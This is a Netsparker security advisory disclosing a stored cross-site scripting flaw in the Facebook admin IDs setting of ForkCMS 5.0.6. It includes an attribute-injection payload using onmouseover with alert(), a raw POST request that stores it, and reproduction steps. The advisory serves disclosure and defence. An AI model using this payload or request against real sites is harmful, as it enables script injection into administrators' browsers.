Stored Cross-site Scripting Vulnerabilities in ForkCMS 5.0.6 Information -------------------- Advisory by Netsparker Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS Affected Software: ForkCMS Affected Versions: 5.0.6 Homepage: https://www.fork-cms.com/ Vulnerability: Stored Cross-site Scripting Severity: Medium Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N Netsparker Advisory Reference: NS-18-032 Technical Details -------------------- Injection Details URL: http://{domain}/{forkcms_path}/private/en/settings Parameter Name: facebook_admin_ids Parameter Type: POST Attack Pattern: x" onmouseover=alert(0x018E3D) x=" Injection Raw Request POST /{forkcms_path}/private/en/settings HTTP/1.1 Host: {domain} Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID={cookie} ...............&facebook_admin_ids=x%22%20onmouseover%3dalert(0x018E3D)%20x%3d%22&facebook_application_id=............... Identification Raw Request GET /{forkcms_path}/private/en/settings HTTP/1.1 Host: {domain} Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID={cookie} Identification Raw Response HTTP/1.1 200 OK ... ... ... ... a| For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Repro Steps -------------------- Login Go to "Settings > General" page Paste attack pattern to "Admin ids" input on the"Facebook" section Click "Add" button Click save button Trigger XSS: Take the mouse cursor over the "Admin ids" input on the "Facebook" section Advisory Timeline -------------------- 24th October 2017 - First Contact 31st December 2018 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.